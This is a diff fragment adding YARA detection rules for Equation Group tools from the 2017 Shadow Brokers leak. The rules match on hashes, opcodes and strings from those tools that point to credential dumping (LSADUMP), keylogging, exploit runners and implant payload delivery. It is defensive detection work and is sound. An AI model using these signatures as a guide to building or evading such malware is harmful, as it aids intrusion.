+      hash9 = "3cf7a01bdf8e73769c80b75ca269b506c33464d81f574ded8bb20caec2d4cd13"
+      hash10 = "a87a871fe32c49862ed68fda99d92efd762a33ababcd9b6b2b909f2e01f59c16"
+      id = "7ff3d0b0-7a70-561e-9c45-d1f9dbccefe9"
+   strings:
+      $s1 = "wshtcpip.WSHGetSocketInformation" fullword ascii
+      $s2 = "\\\\.\\%hs" fullword ascii
+      $s3 = ".?AVResultIp@Mini_Mcl_Cmd_NetConnections@@" fullword ascii
+      $s4 = "Corporation. All rights reserved." fullword wide
+      $s5 = { 49 83 3c 24 00 75 02 eb 5d 49 8b 34 24 0f b7 46 }
+
+      $op1 = { 44 24 57 6f c6 44 24 58 6e c6 44 24 59 }
+      $op2 = { c6 44 24 56 64 88 5c 24 57 }
+      $op3 = { 44 24 6d 4c c6 44 24 6e 6f c6 44 24 6f }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and ( 2 of ($s*) or all of ($op*) )
+}
+
+rule EquationGroup_Toolset_Apr17_PC_Level3_http_exe {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "3e855fbea28e012cd19b31f9d76a73a2df0eb03ba1cb5d22aafe9865150b020c"
+      id = "9bb4224e-f900-5f5c-8091-088a4b791ada"
+   strings:
+      $s1 = "Copyright (C) Microsoft" fullword wide
+
+      $op1 = { 24 39 65 c6 44 24 3a 6c c6 44 24 3b 65 c6 44 24 }
+      $op2 = { 44 24 4e 41 88 5c 24 4f ff }
+      $op3 = { 44 24 3f 6e c6 44 24 40 45 c6 44 24 41 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_ParseCapture {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "c732d790088a4db148d3291a92de5a449e409704b12e00c7508d75ccd90a03f2"
+      id = "11743260-c5ce-59de-9fcf-0c050eee98ff"
+   strings:
+      $x1 = "* Encrypted log found.  An encryption key must be provided" fullword ascii
+      $x2 = "encryptionkey = e.g., \"00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff\"" fullword ascii
+      $x3 = "Decrypting with key '%02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x'" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 50KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_ActiveDirectory_Target {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "33c1b7fdee7c70604be1e7baa9eea231164e62d5d5090ce7f807f43229fe5c36"
+      id = "1069cabe-7c09-522f-ad3f-05651490b921"
+   strings:
+      $s1 = "(&(objectCategory=person)(objectClass=user)(cn=" fullword wide
+      $s2 = "(&(objectClass=user)(objectCategory=person)" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_PC_Legacy_dll : HIGHVOL {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "0cbc5cc2e24f25cb645fb57d6088bcfb893f9eb9f27f8851503a1b33378ff22d"
+      id = "254ff1f7-52ee-57fa-be02-2904e132e25c"
+   strings:
+      $op1 = { 45 f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 }
+      $op2 = { 49 c6 45 e1 73 c6 45 e2 57 c6 45 e3 }
+      $op3 = { 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 6f c6 45 ea }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_svctouch {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "96b6a3c4f53f9e7047aa99fd949154745e05dc2fd2eb21ef6f0f9b95234d516b"
+      id = "a1246afa-32ba-5730-91a2-b1116160d662"
+   strings:
+      $s1 = "Causes: Firewall,Machine down,DCOM disabled\\not supported,etc." fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 10KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_pwd_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "ee72ac76d82dfec51c8fbcfb5fc99a0a45849a4565177e01d8d23a358e52c542"
+      id = "69d071f0-7214-5972-805a-3c0c1d2346c2"
+   strings:
+      $s1 = "7\"7(7/7>7O7]7o7w7" fullword ascii
+
+      $op1 = { 40 50 89 44 24 18 FF 15 34 20 00 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 20KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_KisuComms_Target_2000 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "94eea1bad534a1dc20620919de8046c9966be3dd353a50f25b719c3662f22135"
+      id = "693a82e5-a3f1-5a56-b33d-0daef36bbe5f"
+   strings:
+      $s1 = "363<3S3c3l3q3v3{3" fullword ascii
+      $s2 = "3!3%3)3-3135393@5" fullword ascii
+
+      /* Recommendation - verify the opcodes on Binarly : http://www.binar.ly */
+      /* Test each of them in the search field & reduce length until it generates matches */
+      $op0 = { eb 03 89 46 54 47 83 ff 1a 0f 8c 40 ff ff ff 8b }
+      $op1 = { 8b 46 04 85 c0 74 0f 50 e8 34 fb ff ff 83 66 04 }
+      $op2 = { c6 45 fc 02 8d 8d 44 ff ff ff e8 d2 2f 00 00 eb }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and ( all of ($s*) or all of ($op*) ) )
+}
+
+rule EquationGroup_Toolset_Apr17_SlDecoder {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "b220f51ca56d9f9d7d899fa240d3328535f48184d136013fd808d8835919f9ce"
+      id = "1760e84b-fc40-5d60-9351-3a3134af9e9f"
+   strings:
+      $x1 = "Error in conversion. SlDecoder.exe <input filename> <output filename> at command line " fullword wide
+      $x2 = "KeyLogger_Data" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Windows_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "d38ce396926e45781daecd18670316defe3caf975a3062470a87c1d181a61374"
+      id = "a82aac49-8843-5420-8b87-f3d7431bc63f"
+   strings:
+      $s2 = "0#0)0/050;0M0Y0h0|0" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 50KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_msgkd_msslu64_msgki_mssld {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "9ab667b7b5b9adf4ff1d6db6f804824a22c7cc003eb4208d5b2f12809f5e69d0"
+      hash2 = "320144a7842500a5b69ec16f81a9d1d4c8172bb92301afd07fb79bc0eca81557"
+      hash3 = "c10f4b9abee0fde50fe7c21b9948a2532744a53bb4c578630a81d2911f6105a3"
+      hash4 = "551174b9791fc5c1c6e379dac6110d0aba7277b450c2563e34581565609bc88e"
+      hash5 = "8419866c9058d738ebc1a18567fef52a3f12c47270f2e003b3e1242d86d62a46"
+      id = "cb6d4098-8ede-58ba-9851-7c8b360fb606"
+   strings:
+      $s1 = "PQRAPAQSTUVWARASATAUAVAW" fullword ascii
+      $s2 = "SQRUWVAWAVAUATASARAQAP" fullword ascii
+      $s3 = "iijymqp" fullword ascii
+      $s4 = "AWAVAUATASARAQI" fullword ascii
+      $s5 = "WARASATAUAVM" fullword ascii
+
+      $op1 = { 0c 80 30 02 48 83 c2 01 49 83 e9 01 75 e1 c3 cc }
+      $op2 = { e8 10 66 0d 00 80 66 31 02 48 83 c2 02 49 83 e9 }
+      $op3 = { 48 b8 53 a5 e1 41 d4 f1 07 00 48 33 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and 2 of ($s*) or all of ($op*) )
+}
+
+rule EquationGroup_Toolset_Apr17_SetCallback {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "a8854f6b01d0e49beeb2d09e9781a6837a0d18129380c6e1b1629bc7c13fdea2"
+      id = "3c06fc74-2e75-5348-bb62-30c724de1414"
+   strings:
+      $s2 = "*NOTE: This version of SetCallback does not work with PeddleCheap versions prior" fullword ascii
+      $s3 = "USAGE: SetCallback <input file> <output file>" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17__DoubleFeatureReader_DoubleFeatureReader_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "052e778c26120c683ee2d9f93677d9217e9d6c61ffc0ab19202314ab865e3927"
+      hash2 = "5db457e7c7dba80383b1df0c86e94dc6859d45e1d188c576f2ba5edee139d9ae"
+      id = "f662c961-80be-5453-86b1-c4d40ac5b732"
+   strings:
+      $x1 = "DFReader.exe logfile AESKey [-j] [-o outputfilename]" fullword ascii
+      $x2 = "Double Feature Target Version" fullword ascii
+      $x3 = "DoubleFeature Process ID" fullword ascii
+
+      $op1 = { a1 30 21 41 00 89 85 d8 fc ff ff a1 34 21 41 00 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them ) or ( 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__vtuner_vtuner_1 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "3e6bec0679c1d8800b181f3228669704adb2e9cbf24679f4a1958e4cdd0e1431"
+      hash2 = "b0d2ebf455092f9d1f8e2997237b292856e9abbccfbbebe5d06b382257942e0e"
+      id = "3794f30b-39dc-59eb-9fd3-4c7837bfd47d"
+   strings:
+      $s1 = "Unable to get -w hash.  %x" fullword wide
+      $s2 = "!\"invalid instruction mnemonic constant Id3vil\"" fullword wide
+      $s4 = "Unable to set -w provider. %x" fullword wide
+
+      $op0 = { 2b c7 50 e8 3a 8c ff ff ff b6 c0 }
+      $op2 = { a1 8c 62 47 00 81 65 e0 ff ff ff 7f 03 d8 8b c1 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__ecwi_ESKE_EVFR_RPC2_2 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "c4152f65e45ff327dade50f1ac3d3b876572a66c1ce03014f2877cea715d9afd"
+      hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+      hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+      hash4 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
+      id = "6c653b0a-fda4-51d6-bf90-bd637547fe47"
+   strings:
+      $s1 = "Target is share name" fullword ascii
+      $s2 = "Could not make UdpNetbios header -- bailing" fullword ascii
+      $s3 = "Request non-NT session key" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17__EAFU_ecwi_ESKE_EVFR_RPC2_4 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "3e181ca31f1f75a6244b8e72afaa630171f182fbe907df4f8b656cc4a31602f6"
+      hash2 = "c4152f65e45ff327dade50f1ac3d3b876572a66c1ce03014f2877cea715d9afd"
+      hash3 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+      hash4 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+      hash5 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
+      id = "9dc9ed95-5233-56e1-b8f1-4f27f43e7e43"
+   strings:
+      $x1 = "* Listening Post DLL %s() returned error code %d." fullword ascii
+
+      $s1 = "WsaErrorTooManyProcesses" fullword ascii
+      $s2 = "NtErrorMoreProcessingRequired" fullword ascii
+      $s3 = "Connection closed by remote host (TCP Ack/Fin)" fullword ascii
+      $s4 = "ServerErrorBadNamePassword" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of ($s*) or 1 of ($x*) )
+}
+
+rule EquationGroup_Toolset_Apr17__SendCFTrigger_SendPKTrigger_6 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "3bee31b9edca8aa010a4684c2806b0ca988b2bcc14ad0964fec4f11f3f6fb748"
+      hash2 = "2f9c7a857948795873a61f4d4f08e1bd0a41e3d6ffde212db389365488fa6e26"
+      id = "658d6f7d-2164-5e43-b5a5-d9bea9cd2e27"
+   strings:
+      $s4 = "* Failed to connect to destination - %u" fullword wide
+      $s6 = "* Failed to convert destination address into sockaddr_storage values" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__AddResource {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "e83e4648875d4c4aa8bc6f3c150c12bad45d066e2116087cdf78a4a4efbab6f0"
+      hash2 = "5a04d65a61ef04f5a1cbc29398c767eada367459dc09c54c3f4e35015c71ccff"
+      id = "cbba38fa-a906-5463-ae46-2b9c9f1bf8e0"
+   strings:
+      $s1 = "%s cm 10 2000 \"c:\\MY DIR\\myapp.exe\" c:\\MyResourceData.dat" fullword ascii
+      $s2 = "<PE path> - the path to the PE binary to which to add the resource." fullword ascii
+      $s3 = "Unable to get path for target binary." fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__ESKE_RPC2_8 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+      hash2 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
+      id = "694a1afc-7fea-58ac-b736-44957bbc0334"
+   strings:
+      $s4 = "Fragment: Packet too small to contain RPC header" fullword ascii
+      $s5 = "Fragment pickup: SmbNtReadX failed" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 700KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__LSADUMP_Lp_ModifyPrivilege_Lp_PacketScan_Lp_put_Lp_RemoteExecute_Lp_Windows_Lp_wmi_Lp_9 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
+      hash2 = "d92928a867a685274b0a74ec55c0b83690fca989699310179e184e2787d47f48"
+      hash3 = "2d963529e6db733c5b74db1894d75493507e6e40da0de2f33e301959b50f3d32"
+      hash4 = "e9f6a84899c9a042edbbff391ca076169da1a6f6dfb61b927942fe4be3327749"
+      hash5 = "d989d610b032c72252a2df284d0b53f63f382e305de2a18b453a0510ab6246a3"
+      hash6 = "23d98bca1f6e2f6989d53c2f2adff996ede2c961ea189744f8ae65621003b8b1"
+      hash7 = "d7ae24816fda190feda6a60639cf3716ea00fb63a4bd1069b8ce52d10ad8bc7f"
+      id = "0bf57f93-0a03-5241-94b8-1cd69f22b055"
+   strings:
+      $x1 = "Injection Lib -  " wide
+      $x2 = "LSADUMP - - ERROR" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__ETBL_ETRE_10 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
+      hash2 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
+      id = "7dfff868-cb66-51c0-a7c7-5cc872232b86"
+   strings:
+      $x1 = "Probe #2 usage: %s -i TargetIp -p TargetPort -r %d [-o TimeOut] -t Protocol -n IMailUserName -a IMailPassword" fullword ascii
+      $x6 = "** RunExploit ** - EXCEPTION_EXECUTE_HANDLER : 0x%08X" fullword ascii
+      $s19 = "Sending Implant Payload.. cEncImplantPayload size(%d)" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__ELV_ESKE_ETBL_ETRE_EVFR_11 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+      hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+      hash3 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
+      hash4 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
+      hash5 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+      id = "d6848065-377b-5eda-821d-d2cc16f483cc"
+   strings:
+      $x1 = "Target is vulnerable" fullword ascii
+      $x2 = "Target is NOT vulnerable" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__ELV_ESKE_EVFR_RideArea2_12 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+      hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+      hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+      hash4 = "e702223ab42c54fff96f198611d0b2e8a1ceba40586d466ba9aadfa2fd34386e"
+      id = "63c7733c-9942-56f3-95cc-f3e72b693739"
+   strings:
+      $x2 = "** CreatePayload ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17__ELV_ESKE_13 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+      hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+      id = "8bc3c47c-7357-5692-86aa-e43b40f8c1ab"
+   strings:
+      $x1 = "Skip call to PackageRideArea().  Payload has already been packaged. Options -x and -q ignored." fullword ascii
+      $s2 = "ERROR: pGvars->pIntRideAreaImplantPayload is NULL" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__NameProbe_SMBTOUCH_14 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "fbe3a4501654438f502a93f51b298ff3abf4e4cad34ce4ec0fad5cb5c2071597"
+      hash2 = "7da350c964ea43c149a12ac3d2ce4675cedc079ddc10d1f7c464b16688305309"
+      id = "b3b7037b-d08e-5b32-93ec-870f8ce088ac"
+   strings:
+      $s1 = "DEC Pathworks TCPIP service on Windows NT" fullword ascii
+      $s2 = "<\\\\__MSBROWSE__> G" fullword ascii
+      $s3 = "<IRISNAMESERVER>" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17__ELV_ESKE_EVFR_RPC2_15 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+      hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+      hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+      hash4 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
+      id = "f671a10d-f0b8-5343-97b5-e60b7f2f0acf"
+   strings:
+      $x1 = "** SendAndReceive ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
+      $s8 = "Binding to RPC Interface %s over named pipe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__ELV_ESKE_EVFR_16 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+      hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+      hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+      id = "2749227b-13e2-5669-a557-567ebd170a2f"
+   strings:
+      $x1 = "ERROR: TbMalloc() failed for encoded exploit payload" fullword ascii
+      $x2 = "** EncodeExploitPayload ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
+      $x4 = "** RunExploit ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
+      $s6 = "Sending Implant Payload (%d-bytes)" fullword ascii
+      $s7 = "ERROR: Encoder failed on exploit payload" fullword ascii
+      $s11 = "ERROR: VulnerableOS() != RET_SUCCESS" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__ETBL_ETRE_SMBTOUCH_17 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
+      hash2 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
+      hash3 = "7da350c964ea43c149a12ac3d2ce4675cedc079ddc10d1f7c464b16688305309"
+      id = "88bf610d-1c6e-554a-af82-46b5eb3cc6a5"
+   strings:
+      $x1 = "ERROR: Connection terminated by Target (TCP Ack/Fin)" fullword ascii
+      $s2 = "Target did not respond within specified amount of time" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-17
+   Identifier: Equation Group Tool Output
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EquationGroup_scanner_output {
+   meta:
+      description = "Detects output generated by EQGRP scanner.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-04-17"
